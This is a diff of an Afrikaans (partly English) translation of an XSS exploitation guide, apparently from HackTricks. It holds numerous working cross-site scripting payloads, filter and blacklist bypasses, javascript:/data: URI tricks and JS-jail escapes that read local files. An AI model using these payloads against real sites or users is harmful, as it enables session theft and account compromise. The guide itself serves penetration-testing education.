* As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>`-etiket binne die HTML-kode is nie.
|
||||||
* As dit weerspieël word **binne 'n JS string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS kode (as daar enige fout is, sal dit nie uitgevoer word nie):
|
* As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
|
||||||
* `'-alert(1)-'`
|
* `'-alert(1)-'`
|
||||||
* `';-alert(1)//`
|
* `';-alert(1)//`
|
||||||
* `\';alert(1)//`
|
* `\';alert(1)//`
|
||||||
* As dit weerspieël word binne sjabloon letterlik kan jy **JS uitdrukkings inkorporeer** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
|
* As dit weerspieël word binne sjabloonletterlikhede kan jy **JS-uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
|
||||||
* **Unicode kodering** werk om **geldige javascript kode** te skryf:
|
* **Unicode-kodering** werk om **geldige javascript-kode** te skryf:
|
||||||
```javascript
|
```javascript
|
||||||
\u{61}lert(1)
|
\u{61}lert(1)
|
||||||
\u0061lert(1)
|
\u0061lert(1)
|
||||||
|
@ -98,9 +98,9 @@ Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of kl
|
||||||
|
|
||||||
### Javascript Funksie
|
### Javascript Funksie
|
||||||
|
|
||||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.
|
Verskeie webblaaie het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
|
||||||
|
|
||||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te verander** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (711).png>)
|
![](<../../.gitbook/assets/image (711).png>)
|
||||||
|
|
||||||
|
@ -130,7 +130,7 @@ Therefore, in order to **misbruik maak van hierdie kwesbaarheid in 'n ander DOM*
|
||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
There is **JS code** that is using **onveilig** some **data controlled by an attacker** like `location.href`. An attacker, could abuse this to execute arbitrary JS code.
|
There is **JS code** that is using **onveilig** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
|
@ -157,7 +157,7 @@ Some **voorbeelde**:
|
||||||
|
|
||||||
When your input is reflected **binne die HTML-bladsy** or you can escape and inject HTML code in this context the **eerste** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **karakter** and check if it's being **HTML encoded** or **verwyder** of if it is **reflected without changes**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
|
When your input is reflected **binne die HTML-bladsy** or you can escape and inject HTML code in this context the **eerste** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **karakter** and check if it's being **HTML encoded** or **verwyder** of if it is **reflected without changes**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
|
||||||
For this cases also **hou in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
For this cases also **hou in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||||
_**Nota: 'n HTML-kommentaar kan gesluit word met\*\*\*\***** ****`-->`**** ****of \*\*\*\*****`--!>`**_
|
_**Let wel: 'n HTML-kommentaar kan gesluit word met\*\*\*\***** ****`-->`**** ****of \*\*\*\*****`--!>`**_
|
||||||
|
|
||||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||||
```html
|
```html
|
||||||
|
@ -165,22 +165,22 @@ In this case and if no black/whitelisting is used, you could use payloads like:
|
||||||
<img src=x onerror=alert(1) />
|
<img src=x onerror=alert(1) />
|
||||||
<svg onload=alert('XSS')>
|
<svg onload=alert('XSS')>
|
||||||
```
|
```
|
||||||
Maar, as tags/attributen swart/blanklys is, sal jy moet **brute-force watter tags** jy kan skep.\
|
Maar, as tags/atribute swart/blanklysiening gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
|
||||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force attribuut/geleenthede** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force atribute/gebeurtenisse** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
||||||
|
|
||||||
### Tags/Geleenthede brute-force
|
### Tags/Gebeurtenisse brute-force
|
||||||
|
|
||||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die geleenthede** gebruikmakend van die geldige tags (in dieselfde webblad klik op _**Kopieer geleenthede na klembord**_ en volg dieselfde prosedure as voorheen).
|
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||||
|
|
||||||
### Pasgemaakte tags
|
### Pasgemaakte tags
|
||||||
|
|
||||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om **'n pasgemaakte tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||||
```
|
```
|
||||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||||
```
|
```
|
||||||
### Blacklist Bypasses
|
### Swartlys Omseil
|
||||||
|
|
||||||
As daar 'n soort swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
|
As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
|
||||||
```javascript
|
```javascript
|
||||||
//Random capitalization
|
//Random capitalization
|
||||||
<script> --> <ScrIpT>
|
<script> --> <ScrIpT>
|
||||||
|
@ -263,7 +263,7 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
```
|
```
|
||||||
**Stylingsgebeure**
|
**Stylingsgebeurtenisse**
|
||||||
```python
|
```python
|
||||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||||
|
@ -273,14 +273,14 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
||||||
#moving your mouse anywhere over the page (0-click-ish):
|
#moving your mouse anywhere over the page (0-click-ish):
|
||||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||||
```
|
```
|
||||||
### Binnen die attribuut
|
### Binne die attribuut
|
||||||
|
|
||||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word geënkodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy al die waarde of net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
|
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël **as jy al die waarde of net 'n deel daarvan beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word.\
|
||||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||||
|
|
||||||
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
|
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
|
||||||
|
|
||||||
Die **HTML-geënkodeerde karakters** binne die waarde van HTML-tags attribuut word **ontsleutel op tyd van uitvoering**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Gaan Terug </a>`
|
Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Gaan Terug </a>`
|
||||||
|
|
||||||
Let daarop dat **enige soort HTML-kodering geldig is**:
|
Let daarop dat **enige soort HTML-kodering geldig is**:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||||
```
|
```
|
||||||
**Plekke waar jy hierdie protokolle kan inspuit**
|
**Plekke waar jy hierdie protokolle kan inspuit**
|
||||||
|
|
||||||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>`)
|
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
|
||||||
```markup
|
```markup
|
||||||
<a href="javascript:alert(1)">
|
<a href="javascript:alert(1)">
|
||||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||||
|
@ -359,7 +359,7 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
|
||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
Moreover, there is another **nice trick** for these cases: **Selfs al jou invoer binne `javascript:...` URL-gecodeer is, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, if you need to **escape** from the **string** using a **single quote** and you see that **dit word URL-gecodeer**, remember that **dit maak nie saak nie,** it will be **interpreted** as a **single quote** during the **execution** time.
|
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gecodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gecodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
|
||||||
```javascript
|
```javascript
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
|
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
|
||||||
Opera: %09 %20 %2C %3B
|
Opera: %09 %20 %2C %3B
|
||||||
Android: %09 %20 %28 %2C %3B
|
Android: %09 %20 %28 %2C %3B
|
||||||
```
|
```
|
||||||
### XSS in "Onbenutbare etikette" (verborgene invoer, skakel, kanoniek, meta)
|
### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta)
|
||||||
|
|
||||||
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
|
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
|
||||||
```html
|
```html
|
||||||
|
@ -424,7 +424,7 @@ En in **meta tags**:
|
||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n versteekte attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor:
|
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor:
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
|
@ -472,17 +472,17 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
|
||||||
|
|
||||||
In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
||||||
|
|
||||||
### Ontsnapping van \<script> etiket
|
### Ontsnapping \<script> etiket
|
||||||
|
|
||||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
|
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat die identifisering van bladsy-elemente insluit, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
|
Note dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat die identifisering van bladsy-elemente insluit, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skripte te verstaan en uit te voer, word slegs daarna uitgevoer.
|
||||||
|
|
||||||
### Binne JS-kode
|
### Binne JS-kode
|
||||||
|
|
||||||
As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer **geleë** is en **arbitraire JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
|
As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer **geleë is** en **arbitraire JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
|
||||||
```
|
```
|
||||||
'-alert(document.domain)-'
|
'-alert(document.domain)-'
|
||||||
';alert(document.domain)//
|
';alert(document.domain)//
|
||||||
|
@ -490,10 +490,10 @@ As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer
|
||||||
```
|
```
|
||||||
### Template literals \`\`
|
### Template literals \`\`
|
||||||
|
|
||||||
Om **strings** te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\
|
Om **strings** te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit toelaat om **ingebedde JS-uitdrukkings** te gebruik met `${ ... }` sintaksis.\
|
||||||
As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitraire JS-kode** uit te voer:
|
Daarom, as jy vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
|
||||||
|
|
||||||
Dit kan **misbruik** word met:
|
Dit kan **abused** word met:
|
||||||
```javascript
|
```javascript
|
||||||
`${alert(1)}`
|
`${alert(1)}`
|
||||||
`${`${`${`${alert(1)}`}`}`}`
|
`${`${`${`${alert(1)}`}`}`}`
|
||||||
|
@ -588,7 +588,7 @@ console.log(log)
|
||||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||||
<img/src/onerror=alert(1)>
|
<img/src/onerror=alert(1)>
|
||||||
```
|
```
|
||||||
**Javascript binne 'n kommentaar**
|
**Javascript binne 'n opmerking**
|
||||||
```javascript
|
```javascript
|
||||||
//If you can only inject inside a JS comment, you can still leak something
|
//If you can only inject inside a JS comment, you can still leak something
|
||||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||||
|
@ -779,7 +779,7 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die
|
||||||
```
|
```
|
||||||
### Ruby-On-Rails omseiling
|
### Ruby-On-Rails omseiling
|
||||||
|
|
||||||
As gevolg van **RoR massatoewysing** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
|
As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
|
||||||
Formulier voorbeeld ([uit hierdie verslag](https://hackerone.com/reports/709336)), as jy die payload stuur:
|
Formulier voorbeeld ([uit hierdie verslag](https://hackerone.com/reports/709336)), as jy die payload stuur:
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
|
@ -822,7 +822,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||||
```
|
```
|
||||||
### XSS met kopinjektering in 'n 302 antwoord
|
### XSS met kopinjektering in 'n 302 antwoord
|
||||||
|
|
||||||
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan injekteer**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer willekeurige JavaScript**. Dit is **nie triviaal** nie, aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer nie as die HTTP-antwoordstatuskode 'n 302 is, so net 'n cross-site scripting payload is nutteloos.
|
||||||
|
|
||||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-kop kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
|
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-kop kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
|
||||||
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-kop_, `resource://`.
|
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-kop_, `resource://`.
|
||||||
|
@ -837,7 +837,7 @@ As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer**
|
||||||
|
|
||||||
> Weier om skrip van ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
|
> Weier om skrip van ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
|
||||||
|
|
||||||
Die enigste **Inhoudstipes** wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
Die enigste **Content-Type**s wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||||
```c
|
```c
|
||||||
const char* const kSupportedJavascriptTypes[] = {
|
const char* const kSupportedJavascriptTypes[] = {
|
||||||
"application/ecmascript",
|
"application/ecmascript",
|
||||||
|
@ -867,7 +867,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||||
```
|
```
|
||||||
Die antwoord is:
|
Die antwoord is:
|
||||||
|
|
||||||
* **module** (verstek, niks om te verduidelik nie)
|
* **module** (standaard, niks om te verduidelik nie)
|
||||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpakk.
|
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpakk.
|
||||||
```html
|
```html
|
||||||
<script type="webbundle">
|
<script type="webbundle">
|
||||||
|
@ -913,9 +913,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### Web Inhoud-Tipes vir XSS
|
### Web Inhoudstipes na XSS
|
||||||
|
|
||||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoud tipes kan XSS in alle blaaiers uitvoer:
|
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer:
|
||||||
|
|
||||||
* text/html
|
* text/html
|
||||||
* application/xhtml+xml
|
* application/xhtml+xml
|
||||||
|
@ -928,9 +928,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/
|
||||||
|
|
||||||
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||||
|
|
||||||
### xml Inhoud Tipe
|
### xml Inhoudstipe
|
||||||
|
|
||||||
As die bladsy 'n text/xml inhoud-tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
|
As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
|
||||||
```xml
|
```xml
|
||||||
<xml>
|
<xml>
|
||||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||||
|
@ -944,7 +944,7 @@ Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_inpu
|
||||||
|
|
||||||
Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string** binne 'n skrip te ontsnap en arbitrêre kode uit te voer.
|
Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string** binne 'n skrip te ontsnap en arbitrêre kode uit te voer.
|
||||||
|
|
||||||
### Chrome Kas na XSS
|
### Chrome Cache na XSS
|
||||||
|
|
||||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||||
|
@ -952,7 +952,7 @@ Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YAC
|
||||||
|
|
||||||
### XS Jails Ontsnapping
|
### XS Jails Ontsnapping
|
||||||
|
|
||||||
As jy net 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
|
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
|
||||||
```javascript
|
```javascript
|
||||||
// eval + unescape + regex
|
// eval + unescape + regex
|
||||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||||
|
@ -992,13 +992,13 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||||
```
|
```
|
||||||
* Toegang tot `require` indirek
|
* Toegang tot `require` indirek
|
||||||
|
|
||||||
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg:
|
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie toegedraai, soos volg:
|
||||||
```javascript
|
```javascript
|
||||||
(function (exports, require, module, __filename, __dirname) {
|
